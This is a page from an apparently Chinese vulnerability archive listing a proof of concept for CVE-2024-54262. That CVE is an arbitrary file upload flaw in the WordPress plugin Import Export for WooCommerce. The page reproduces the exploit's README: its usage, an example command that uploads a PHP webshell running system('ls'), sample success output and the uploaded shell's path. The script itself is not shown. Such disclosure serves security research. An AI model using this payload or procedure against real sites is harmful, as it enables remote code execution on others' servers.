目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2024-54262 PoC — WordPress plugin Import Export For WooCommerce 代码问题漏洞

来源
关联漏洞
标题:WordPress plugin Import Export For WooCommerce 代码问题漏洞 (CVE-2024-54262)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Import Export For WooCommerce 1.5版本及之前版本存在代码问题漏洞,该漏洞源于不受限制地上传具有危险类型漏洞的文件。
Description
Exploit CVE-2024-54262: Arbitrary File Upload in Import Export for WooCommerce
介绍
# CVE-2024-54262
Exploit CVE-2024-54262: Arbitrary File Upload in Import Export for WooCommerce
# Overview
This script exploits a vulnerability in the "Import Export for WooCommerce" WordPress plugin. The vulnerability allows unauthorized users to upload arbitrary files, leading to potential remote code execution (RCE).

## Features:
- **Version Detection**: Automatically checks if the WordPress site is running a vulnerable plugin version.
- **Authentication**: Supports WordPress login for further exploitation.
- **File Upload**: Allows uploading of malicious PHP files for RCE.

## Prerequisites:

1. Python 3.x
2. Required Python libraries:
   - `requests`
   - `argparse`

Install dependencies using:
```bash
pip install requests
```
3.Ensure the target WordPress site uses the vulnerable version of the plugin.

## Usage:


```
usage: CVE-2024-54262.py [-h] --url URL --username USERNAME --password PASSWORD [--command COMMAND]

Exploit CVE-2024-54262: Arbitrary File Upload in Import Export for WooCommerce

options:
  -h, --help            show this help message and exit
  --url URL, -u URL     Base URL of the WordPress site
  --username USERNAME, -un USERNAME
                        Username for login
  --password PASSWORD, -p PASSWORD
                        Password for login
  --command COMMAND, -c COMMAND
                        PHP shell code to upload
```
### Example:
```
 CVE-2024-54262.py --url https://example.com --username admin --password admin --command "<?php system('ls'); ?>"
```
### Output Explanation

1. **The site is vulnerable.**
   - Indicates that the WordPress site is running a vulnerable plugin version.
2. **Logged in successfully.**
   - Confirms successful login with the provided credentials.
3. ```
   {
       "status": true,
       "code": 104,
       "message": "Success",
       "data": {
           "file_name": "import_manual_1737090262.php",
           "total_requests": 1,
           "import_columns": "all",
           "product_search_type": "SKU",
           "product_operation": "create_new_update_existing",
           "field_separator": ","
       }
   }

   
 - **Shell Name**: `import_manual_1737090262.php`
 - **Shell Path**: `wp-content/uploads/import-export-for-woocommerce/product/`
  
### Disclaimer
This tool is for educational purposes only. The author is not responsible for any misuse or damages caused by this script. Unauthorized access or exploitation of systems without explicit permission is illegal and unethical.

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →